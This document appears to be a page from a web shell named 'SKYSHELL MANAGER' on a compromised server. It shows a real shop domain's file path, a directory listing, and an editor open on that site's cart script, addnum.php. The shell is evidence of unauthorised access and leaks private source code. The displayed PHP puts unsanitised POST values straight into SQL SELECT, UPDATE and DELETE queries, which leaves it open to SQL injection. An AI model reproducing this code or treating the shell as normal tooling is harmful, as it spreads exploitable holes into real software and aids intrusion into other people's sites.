ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Current Path: home/oshofree/public_html/chbluxuries.com/chb_data/

Name	Size	Permissions	Actions
📁 ..	-	0755	🗑️
📄 config.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 error_log	5333.18 KB	0644	🗑️ ⬇️ ✏️

Editing: addnum.php

<?php

if (isset($_POST['number'])) {
    $orderid = $_POST['orderno'];
    $quantity = $_POST['number'];
    $item = $_POST['item'];

$sql = "SELECT * FROM stocks WHERE id='$item'";
    $sql2 = mysqli_query($con, $sql);

if ($row = mysqli_fetch_assoc($sql2)) {
        $stockname = mysqli_real_escape_string($con,$row['name']);
        $retail = $row['retail_price'];
        $whole = $row['wholesales_price'];
        $wholenum = $row['wholesales_quantity'];
        $media = $row['media'];
        $stockid = $row['id'];
        $groupid = $row['group_id'];

$sql = "SELECT * FROM stock_orders WHERE s='$orderid'";
        $sql2 = mysqli_query($con, $sql);

if ($row = mysqli_fetch_assoc($sql2)) {
            $realid = $row['s'];
            $amount = $row['unit_price'];
            $vcolor = $row['color'];
        }

$sqv = "SELECT * FROM variation WHERE s='$vcolor'";
        $sq2v = mysqli_query($con, $sqv);

if ($roe = mysqli_fetch_assoc($sq2v)) {
            $varid = $roe['s'];
            $color = $roe['color'];
            $shop = $roe['shop'];
        }
        $stockcolorname = ($color === "null" || $color === "") ? "" : "($color)";
        $sqv = "SELECT SUM(shop) AS shop FROM variation WHERE color='$color' AND group_id='$groupid'";
        $sq2v = mysqli_query($con, $sqv);

if ($roe = mysqli_fetch_assoc($sq2v)) {
            $shop = $roe['shop'];
        }

// If Quantity Exceeds
        $quantity = ($quantity > $shop) ? $shop : $quantity;

// Calculate price based on pricing option
        $amount = ($amount == "") ? ($pricing == "1" ? $retail : $whole) : $amount;
        $updatep = $quantity * $amount;

$sqlUpdate = "UPDATE stock_orders SET unit_price='$amount', price='$updatep', quantity='$quantity' WHERE s='$realid'";
        $updateResult = mysqli_query($con, $sqlUpdate);

if (!$updateResult) {
            die('Could not connect: ' . mysqli_error($con));
        }

// If product is out of stock, delete it
        if ($quantity <= 0) {
            $sqlDelete = "DELETE FROM stock_orders WHERE s='$realid'";
            $del = mysqli_query($con, $sqlDelete);

if (!$del) {
                die('Could not connect: ' . mysqli_error($con));
            }

echo '<div class="alert alert-danger alert-dismissible fade show" role="alert">
                        '.$stockname.' '.$stockcolorname.' is now out of stock and has been deleted from basket/ Product is no longer in cart
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>';
        } else {
            echo '<div class="alert alert-success alert-dismissible fade show" role="alert" id="messageAlert">
                        Product Quantity Updated Successfully
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>';
        }
    }
}

if (isset($_POST['vars'])) {
    $orderid = $_POST['orderno'];
    $color = $_POST['vars'];
    $sqlUpdateColor = "UPDATE stock_orders SET color='$color' WHERE s='$orderid'";
    $updateColorResult = mysqli_query($con, $sqlUpdateColor);

if (!$updateColorResult) {
        die('Could not connect: ' . mysqli_error($con));
    }
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Editing: addnum.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33